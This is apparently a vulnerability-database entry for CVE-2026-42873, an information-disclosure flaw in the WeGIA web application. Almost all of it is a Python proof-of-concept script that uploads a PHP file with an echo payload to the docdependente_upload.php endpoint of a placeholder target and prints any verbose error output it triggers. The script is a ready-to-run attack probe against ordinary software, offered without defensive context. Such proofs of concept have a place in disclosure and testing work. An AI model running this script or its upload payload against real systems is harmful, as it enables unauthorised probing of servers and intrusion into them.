CVE-2026-42873 WeGIA信息泄露漏洞

import requests # Target configuration target_url = "http://target-host/funcionario/docdependente_upload.php" # Prepare a malicious file to trigger the error # The content is designed to be rejected by the server files = { 'file': ('exploit_test.php', '<?php echo "malicious"; ?>', 'application/x-php') } data = { 'other_param': 'value' } try: # Send POST request to upload endpoint response = requests.post(target_url, files=files, data=data) # Check if verbose error information is disclosed if response.status_code != 200 and "error" in response.text.lower(): print("[+] Potential Information Disclosure Detected:") print(response.text) else: print("[-] No verbose error detected or upload succeeded.") except Exception as e: print(f"Request failed: {e}")